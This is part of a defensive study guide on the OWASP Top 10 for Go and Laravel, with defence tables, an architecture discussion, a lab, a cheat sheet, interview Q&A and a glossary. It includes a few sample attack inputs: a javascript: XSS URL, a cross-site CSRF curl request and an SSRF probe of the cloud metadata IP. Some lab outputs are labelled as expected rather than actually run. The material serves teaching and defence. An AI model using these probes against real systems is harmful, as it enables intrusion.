| Cookie-authenticated forms | Sec-Fetch-Site + synchronizer token | SameSite=Lax | Layers for old browsers and same-site attackers |
| Token-authenticated API (Authorization header) | No CSRF token needed | Strict CORS allowlist | No ambient credentials |
| Fetching user URLs | Dialer IP check + allowlist | Egress proxy, IMDSv2 | Only connect-time checks stop rebinding |
| Uploads | Content sniffing + pixel cap + private storage | Re-encode images, AV scan | Name, type and content are all attacker-chosen |
| Object access by id | Owner-scoped query / policy | RLS, 404 on foreign ids | IDOR is the top category |
| Money, stock, coupons | Atomic conditional write, unique keys | Idempotency keys | Races are business logic, not HTTP |
| Data round-tripping through the client | HMAC-signed JSON | Expiry and key id | Native deserialization is code execution |
| Dependencies | govulncheck / composer audit in CI | Renovate, SBOM | Known CVEs are the cheapest attacks |
| Errors and debug | APP_DEBUG=false, generic errors | Fail closed | Error pages leak secrets |
In architecture: from a single process to a distributed system
Monolith: one process, one database
All ten categories live in one codebase, which is the easiest place to fix them: one CSRF middleware, one headers middleware, one policy layer, one database role. Example: a Laravel monolith with Blade views gets XSS escaping, CSRF and bindings by default; the review checklist is "where did we leave the defaults" (raw echoes, whereRaw, $request->all(), storeAs with user names, APP_DEBUG). Run SAST and SCA in the one pipeline and you cover most of the code surface.
Modular monolith: boundaries without the network
Modules call each other in-process, and authorization tends to be checked only at the HTTP edge. Example: the Billing module exposes InvoiceService::find($id) to the Support module; a support agent's screen calls it with any id, bypassing the policy that the HTTP controller applied. Fix: authorization at the module API (pass the actor, check the policy inside), not only at the controller; shared security middleware and a shared SafeHttpClient as platform code that every module must use.
Microservices: every arrow is a decision
The edge (API gateway, BFF) handles TLS, WAF, rate limits, CORS and authentication; each service must still authorize, because internal callers can be compromised or confused (the confused deputy). Example flow: browser → gateway (validates the session, issues a short-lived internal JWT with sub and tenant) → orders service (checks that the order belongs to tenant) → pdf-renderer (fetches images: SSRF risk, so it runs in an isolated subnet with an egress proxy and no cloud credentials). Message payloads between services are data contracts (JSON/protobuf with schema validation), never native serialized objects. Request smuggling lives at the seams between proxies; keep HTTP/2 end to end. Service-to-service identity is in Mutual TLS and the gateway in API gateway, BFF and service mesh.
Distributed data: replicas, caches, regions
Injection and access-control bugs travel with the data: a stored XSS payload replicated to every region and cached at the CDN is served from the edge for hours; purge the CDN as part of the fix. Caches can leak across users when the cache key ignores identity (web cache deception: /account/profile.css cached publicly); set Cache-Control: private, no-store on personal responses and include the user in keys. Search indexes and analytics copies need the same tenant filter as the primary database (an IDOR in the search service is still an IDOR). Race conditions get worse with replicas: a balance check against a lagging replica approves a double spend; checks that guard money must read the primary inside the write. CDN behaviour is in CDN.
Scaling path: 1x, 10x, 100x
| Scale | What changes |
|---|---|
| 1x (one team, one app) | Framework defaults, headers middleware, CI with gosec/semgrep/govulncheck/composer audit, APP_DEBUG=false check |
| 10x (several teams and services) | Paved road: shared libraries (SSRF client, logging, authz), gateway with WAF and rate limits, ZAP in staging, central log alerts on authz.denied and auth.login_failed |
| 100x (platform, many regions) | Policy engine for authorization, egress proxies per environment, SBOM and signed artifacts for every release, bug bounty, red team, security champions per team, automated purges of cached malicious content |
Lab
Steps 1 and 2 run on this machine with the Go toolchain; all other steps are expected, not run (no Docker, no live Laravel app, no network targets).
- Run the Go tests (real run):
$ cd docs/snippets/system-design/owasp-top-10/go
$ go test -race -count=1 ./...
ok academy/owasp-top-10/cmdinject
ok academy/owasp-top-10/csrf
ok academy/owasp-top-10/headers
ok academy/owasp-top-10/logsafe
ok academy/owasp-top-10/massassign
ok academy/owasp-top-10/pathtraversal
ok academy/owasp-top-10/redirect
ok academy/owasp-top-10/signed
ok academy/owasp-top-10/sqli
ok academy/owasp-top-10/ssrf
ok academy/owasp-top-10/upload
ok academy/owasp-top-10/wallet
ok academy/owasp-top-10/xss- Real run:
gofmt -l .andgo vet ./...print nothing. Readwallet_test.go: the "before" test passes because both withdrawals succeed (the race is forced with a barrier), the "after" test shows exactly 10 of 50 parallel withdrawals succeed. - Expected, not run: static analysis.
$ go install golang.org/x/vuln/cmd/govulncheck@latest && govulncheck ./...
No vulnerabilities found.
$ gosec ./...
[before.go:16] - G202 (CWE-89): SQL string concatenation (Confidence: HIGH, Severity: MEDIUM)
[before.go:22] - G201 (CWE-89): SQL string formatting (Confidence: HIGH, Severity: MEDIUM)
[pathtraversal.go:17] - G304 (CWE-22): Potential file inclusion via variable
[cmdinject.go:15] - G204 (CWE-78): Subprocess launched with variable
[ssrf/before.go:14] - G107 (CWE-88): Potential HTTP request made with variable urlThe exact wording, line numbers and the set of reported issues depend on the gosec version; the point is that every "before" file is flagged and the "after" files mostly are not (the allowlisted ORDER BY concatenation may still be reported and should be annotated with #nosec G202 -- constant from allowlist).
- Expected, not run (Laravel app with these files):
composer auditprintsNo security vulnerability advisories found.;php artisan test --filter=OwaspTestpasses 9 tests. - Expected, not run: CSRF by hand against
php artisan serveover HTTPS behind a local proxy:curl -i -X POST https://app.test/me/email -H 'Sec-Fetch-Site: cross-site' -b 'laravel_session=...' -d 'email=x@example.com'returns419(token fallback) or403withoriginOnly: true. - Expected, not run: headers.
curl -sI https://app.test/ | grep -iE 'content-security|strict-transport|x-content-type|referrer|permissions|x-frame'shows the six headers; two requests show differentnonce-values. - Expected, not run: ZAP baseline scan of staging:
docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://staging.example.com(run it in CI, not on a laptop against production) reportsPASS: Content Security Policy (CSP) Header Not Set [10038]and similar lines once the middleware is in place. - Expected, not run: SSRF probe of the Laravel guard in
php artisan tinker:app(App\Services\SafeHttpClient::class)->get('https://169.254.169.254/')throwsInvalidArgumentException: Destination not allowed.
Common misconceptions
| Belief | Reality |
|---|---|
| The ORM prevents SQL injection | Only its bound methods; raw expressions and user-chosen columns are injectable |
| Escaping quotes is enough | Parameterise; manual escaping is "STRONGLY DISCOURAGED" by OWASP |
| Input validation stops XSS | Output encoding per context stops XSS; validation is an extra layer |
| HttpOnly makes XSS harmless | Script still acts as the user |
| A CSP with a host allowlist is strict | Strict means nonce or hash plus strict-dynamic |
| SameSite removes the need for CSRF tokens | Same-site attackers, GET side effects and old browsers remain |
| CORS protects the API | It controls which pages may read responses; requests are still sent |
| UUIDs prevent IDOR | Unguessable is not authorised |
| SSRF needs a firewall hole | It uses your server inside the firewall |
| Hostname allowlists stop SSRF | DNS rebinding and redirects bypass them; check the IP at connect time |
allowed_classes => false makes unserialize safe | PHP: never pass untrusted input, regardless of the option |
| The upload's Content-Type tells us the type | The client sets it; sniff and decode |
| 300 SCA findings means 300 risks | Reachability decides; use govulncheck |
| Debug mode is harmless if the URL is secret | Any error renders it; secrets leak |
| A WAF is a fix | It is a delay; fix the code |
Cheat sheet
| Topic | Remember |
|---|---|
| Which list | 2021 in most contracts; 2025 is current (SSRF in A01, Supply Chain A03, Exceptional Conditions A10) |
| SQL | Placeholders for values, allowlist for identifiers, least-privilege role |
| Laravel SQL traps | whereRaw, orderByRaw, DB::raw, selectRaw without bindings; columns from input |
| XSS | Encode per context; html/template and Blade double-curly echo; raw echo only for sanitised HTML |
| CSP | script-src 'nonce-R' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none' |
| DOM XSS | Trusted Types + DOMPurify; no innerHTML with strings |
| Headers | HSTS 2y, nosniff, strict-origin-when-cross-origin, Permissions-Policy, X-Frame-Options: DENY, X-XSS-Protection: 0 |
| CSRF | Sec-Fetch-Site/Origin + synchronizer token; SameSite=Lax; 419 in Laravel |
| Access control | Owner-scoped queries, policies, deny by default, 404 for foreign ids |
| SSRF | https only, allowlist, dialer IP check, re-check redirects, Proxy: nil, IMDSv2, egress control |
| Mass assignment | #[Fillable] / input DTO + DisallowUnknownFields |
| Races | Conditional UPDATE ... WHERE balance >= $1, unique constraints, idempotency keys |
| Uploads | Sniff, size cap, pixel cap, random name, private storage, nosniff, no SVG |
| Deserialization | JSON + HMAC; never unserialize/pickle/ObjectInputStream on input |
| Supply chain | govulncheck, composer audit, Renovate/Dependabot, SBOM, SRI, pinned CI actions |
| Logging | JSON logs, security events, redaction, alerts on rates |
Self-check: questions & answers
- Must-know asked in almost every interview
- Important frequent; expected at senior level
- Good to know extra depth that sets you apart
1 — Why can a sort column not be passed as a bound parameter, and what do you do instead? Must-know
Answer
Answer: Placeholders carry values, not identifiers or keywords; the SQL structure must be known when the statement is prepared. Map the public sort key to an application-owned column and direction (an allowlist) and reject anything else before building the query.
2 — What is second-order SQL injection, and why do "safe" inserts not prevent it? Important
Answer
Answer: The payload is stored safely with bindings, then later read back and concatenated into another query by code that trusts "our own data". The fix is to bind at every query, including those built from stored values.
3 — A page renders <a href="USER_URL">. The template escapes HTML. Is it safe? Must-know
Answer
Answer: No: javascript:alert(1) contains no HTML metacharacters. Validate the scheme (https:) before rendering; Go's html/template replaces unsafe schemes with #ZgotmplZ, Blade does not, so check it yourself.
4 — What does strict-dynamic add to a nonce-based CSP, and what does it cost? Important
Answer
Answer: Scripts loaded by an already trusted (nonced) script are trusted too, so bundles and loaders work without host lists. The cost: if trusted code creates scripts from attacker-controlled data, CSP will not stop them.
5 — Why does a hostname allowlist not stop SSRF on its own, and where must the IP check run? Must-know
Answer
Answer: DNS can answer differently between the check and the connection (rebinding), and redirects can leave the allowed host. Check the resolved IP at connect time (Go net.Dialer.Control, or pin the validated IP with CURLOPT_RESOLVE) and re-check each redirect.
6 — Your Laravel feature test for CSRF returns 200 instead of 419. Why? Important
Answer
Answer: Laravel disables the CSRF middleware when running tests. Assert that PreventRequestForgery is in the web group, and verify the 419 with a real request.
7 — Give two reasons the 2025 list moved SSRF into A01. Good to know
Answer
Answer: SSRF had a single CWE and low incidence in the data; OWASP said in 2021 it hoped such entries "can be rolled into a larger category in a future edition". It is also an access-control failure: the server reaches resources the user should not.
8 — Two parallel requests redeem one coupon. Name a database-level fix that needs no lock. Must-know
Answer
Answer: A unique index on (coupon_id, user_id) in a redemptions table: the second insert fails with a duplicate-key error (SQLSTATE 23505 / MySQL 1062). For balances, a conditional UPDATE ... WHERE balance >= amount and checking the affected rows.
9 — Why is unserialize() on a cookie remote code execution even if your own classes are harmless? Must-know
Answer
Answer: It can instantiate any autoloadable class, including vendor classes whose magic methods (__destruct, __wakeup) form a gadget chain to file writes or code execution; tools like phpggc catalogue them.
10 — An upload passes the extension check and has Content-Type: image/png. List four further checks. Must-know
Answer
Answer: Sniff the content (magic bytes) and decode the header; cap the decoded dimensions (image bomb); size limit before parsing; generate the stored name; store outside the web root or on a private bucket; serve with nosniff and Content-Disposition: attachment; reject SVG.
11 — When does an API not need CSRF tokens? Must-know
Answer
Answer: When it does not use ambient credentials: authentication comes in an Authorization header set by JavaScript, not in cookies or HTTP auth. Keep a strict CORS policy so other origins cannot read responses.
12 — What is the difference between SAST, DAST and IAST in one sentence each? Important
Answer
Answer: SAST reads the source code without running it; DAST attacks the running application from outside over HTTP; IAST instruments the running application and watches tainted data reach sinks while tests or traffic exercise it.
Glossary
| Term | Meaning |
|---|---|
| OWASP Top 10 | OWASP's awareness list of the ten most critical web application risk categories (2021, 2025) |
| CWE | Common Weakness Enumeration, MITRE's catalogue of weakness types; CWE Top 25 ranks them |
| OWASP ASVS | Application Security Verification Standard: testable security requirements |
| Broken access control | Users can act outside their permissions (A01) |
| IDOR | Insecure direct object reference: access to an object by changing its id (CWE-639) |
| Privilege escalation | Gaining another user's (horizontal) or a higher role's (vertical) rights |
| Force browsing | Requesting unlinked URLs that lack checks |
| Path traversal | ../ in a file name escapes the intended directory (CWE-22) |
| CORS misconfiguration | Allowing untrusted origins to read credentialed responses |
| Cryptographic failures | Missing or broken protection of data in transit or at rest (A02:2021) |
| Injection | Untrusted data interpreted as code by an interpreter (A03:2021) |
| SQL injection | Input changes the syntax of an SQL statement (CWE-89) |
| Prepared statement | Statement compiled first, values bound later |
| Parameterised query | Query with placeholders ($1, ?) whose values are sent separately |
| Second-order injection | Stored data later concatenated into a query |
| NoSQL injection | Injection into document-store queries, often via JSON operators |
| Operator injection | Supplying $ne, $gt, $regex where a scalar was expected |
| Command injection | Input changes a shell command (CWE-78) |
| Argument injection | Input becomes an option (-o...) of a program run without a shell |
| LDAP injection | Input changes an LDAP search filter |
| Template injection (SSTI) | Input becomes template source and runs on the server |
| XSS | Cross-site scripting: attacker script runs in your origin (CWE-79) |
| Reflected XSS | Payload in the request echoed in the response |
| Stored XSS | Payload saved and shown to other users |
| DOM XSS | Client JavaScript moves a source into a dangerous sink |
| Output encoding | Converting data so it is inert in the target context |
| Context-aware escaping | Choosing the encoding by where the value lands (HTML, attribute, URL, JS, CSS) |
| Content Security Policy | Response header restricting scripts, frames and other resources |
| CSP nonce | Random per-response value that marks allowed scripts |
| strict-dynamic | CSP keyword trusting scripts loaded by trusted scripts |
| Trusted Types | Browser API forcing DOM sinks to accept only policy-created values |
| Sanitiser | Library removing dangerous markup from HTML (DOMPurify, HTML Purifier, bluemonday) |
| Insecure design | Flaws in the design rather than the implementation (A04:2021) |
| Threat modelling | Systematic search for threats per data flow (e.g. STRIDE) |
| Security misconfiguration | Unsafe defaults, debug, open storage, missing headers (A05:2021) |
| Default credentials | Factory usernames and passwords left enabled |
| Debug mode | Development error output enabled in production |
| APP_DEBUG | Laravel environment variable controlling detailed error pages |
| Directory listing | Web server shows directory contents |
| XXE | XML external entity: XML parser reads files or URLs named in a DTD |
| Security headers | HSTS, CSP, nosniff, Referrer-Policy, Permissions-Policy, frame-ancestors and friends |
| HSTS | Strict-Transport-Security: browser uses HTTPS only for a period |
| X-Content-Type-Options | nosniff: disables MIME sniffing |
| Referrer-Policy | Controls how much of the URL is sent as Referer |
| Permissions-Policy | Disables browser features (camera, geolocation) per page |
| frame-ancestors | CSP directive listing who may frame the page |
| Clickjacking | Tricking clicks through an invisible frame |
| Vulnerable components | Dependencies with known vulnerabilities (A06:2021) |
| Software supply chain failures | A03:2025: compromises in dependencies, builds and distribution |
| SCA | Software composition analysis: dependency-to-advisory matching |
| Dependabot | GitHub's dependency alerts and update pull requests |
| Renovate | Dependency update bot with grouping, schedules and automerge |
| composer audit | Composer command checking installed packages against advisories |
| govulncheck | Go tool reporting reachable known vulnerabilities |
| SBOM | Software bill of materials (CycloneDX, SPDX) |
| Authentication failures | Weak login, session or recovery (A07) |
| Software and data integrity | Trusting code or data without verifying origin (A08) |
| Insecure deserialization | Decoding attacker data into live objects (CWE-502) |
| unserialize | PHP function recreating objects from a serialized string |
| Gadget chain | Existing class methods chained by a deserialized object graph |
| Signed payload | Data with an HMAC or signature checked before use |
| SRI | Subresource Integrity: integrity hash on scripts and styles |
| CI/CD integrity | Pinned, reviewed, signed builds and deployments |
| Logging failures | Missing, unusable or unalerted security logs (A09) |
| Log injection | CR/LF or markup in input forging or corrupting log entries (CWE-117) |
| SSRF | Server-side request forgery: server fetches an attacker-chosen URL (CWE-918) |
| Metadata endpoint | Cloud instance metadata service, e.g. 169.254.169.254 |
| IMDSv2 | AWS metadata service requiring a PUT-issued session token |
| DNS rebinding | DNS answer changes between validation and connection |
| Allowlist | Explicit list of permitted values; everything else is denied |
| Egress control | Restricting outbound network traffic |
| Mishandling of exceptional conditions | A10:2025: unsafe behaviour on errors and abnormal states |
| Fail open / fail closed | On error, allow (unsafe) or deny (safe) |
| CSRF | Cross-site request forgery using ambient credentials (CWE-352) |
| Synchronizer token | Per-session secret echoed in forms or headers |
| SameSite | Cookie attribute limiting cross-site sending |
| Fetch Metadata | Sec-Fetch-Site and related request headers set by browsers |
| Open redirect | Redirect to an attacker-chosen external URL (CWE-601) |
| Mass assignment | Binding request fields to model fields wholesale |
| fillable / guarded | Laravel allowlist / denylist for mass assignment |
| TOCTOU | Time-of-check to time-of-use race |
| Race condition | Outcome depends on the timing of concurrent requests |
| Double spend | Spending one balance or token twice through a race |
| File upload vulnerabilities | Uploads that execute, traverse, sniff or exhaust resources |
| Content sniffing | Browser guessing a type different from the declared one |
| Image bomb | Small image declaring huge dimensions (pixel flood) |
| Request smuggling | Front and back end disagree on request boundaries |
| CL.TE / TE.CL | Smuggling variants by which server uses Content-Length or Transfer-Encoding |
| Header injection | CR/LF in input adds headers (response splitting, CWE-113) |
| Prototype pollution | Writing to Object.prototype through crafted keys (CWE-1321) |
| Business-logic abuse | Using valid functionality in harmful ways |
| SAST | Static application security testing |
| DAST | Dynamic application security testing |
| IAST | Interactive application security testing |
| ZAP | OWASP Zed Attack Proxy, open-source DAST and proxy |
| Burp | Burp Suite, PortSwigger's testing proxy and scanner |
| semgrep | Pattern and taint-based static analysis tool |
| gosec | Go security static analyser |
| PHPStan | PHP static analyser (Larastan for Laravel) |
| Bug bounty | Paid programme rewarding external vulnerability reports |
| VDP | Vulnerability disclosure policy |
References
- OWASP Top 10:2025 (home and list): https://owasp.org/Top10/2025/
- OWASP Top 10:2025, Introduction (what changed, methodology): https://owasp.org/Top10/2025/0x00_2025-Introduction/
- OWASP Top 10:2025, A01 Broken Access Control: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/
- OWASP Top 10:2025, A03 Software Supply Chain Failures: https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/
- OWASP Top 10:2025, A05 Injection: https://owasp.org/Top10/2025/A05_2025-Injection/
- OWASP Top 10:2025, A10 Mishandling of Exceptional Conditions: https://owasp.org/Top10/2025/A10_2025-Mishandling_of_Exceptional_Conditions/
- OWASP Top 10:2021: https://owasp.org/Top10/2021/
- OWASP Top 10:2021 A01, A03, A04, A05, A06, A08, A09, A10: A01, A03, A04, A05, A06, A08, A09, A10
- OWASP ASVS: https://owasp.org/www-project-application-security-verification-standard/
- MITRE CWE Top 25 (2025): https://cwe.mitre.org/top25/ and https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html
- OWASP Cheat Sheets: SQL Injection Prevention, XSS Prevention, DOM-based XSS Prevention, CSRF Prevention, SSRF Prevention, File Upload, Mass Assignment, Deserialization, Content Security Policy, HTTP Headers, OS Command Injection Defense, LDAP Injection Prevention, XXE Prevention, Unvalidated Redirects, Clickjacking Defense, Logging, IDOR Prevention, Prototype Pollution Prevention
- MDN, Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
- MDN, Trusted Types API: https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API
- MDN, Subresource Integrity: https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity
- PortSwigger Web Security Academy: request smuggling, SSRF, XSS, race conditions; Burp Suite: https://portswigger.net/burp
- AWS, Instance Metadata Service (IMDSv2): https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- Laravel 13: CSRF, Validation, Eloquent (mass assignment), Blade, HTTP client, Configuration, Errors, Queries, File storage, Vite (CSP nonce, SRI), Middleware, Logging, Requests, Authorization
- PHP manual: unserialize, validation filter flags
- Composer CLI (audit): https://getcomposer.org/doc/03-cli.md
- Go: html/template, database/sql, net/http, os (Root), encoding/gob, Go vulnerability management and govulncheck
- gosec: https://github.com/securego/gosec and rules list https://github.com/securego/gosec/blob/master/RULES.md
- OWASP ZAP: https://www.zaproxy.org/; semgrep docs: https://semgrep.dev/docs/
- GitHub Dependabot: https://docs.github.com/en/code-security/dependabot; Renovate: https://docs.renovatebot.com/; CycloneDX: https://cyclonedx.org/; SLSA: https://slsa.dev/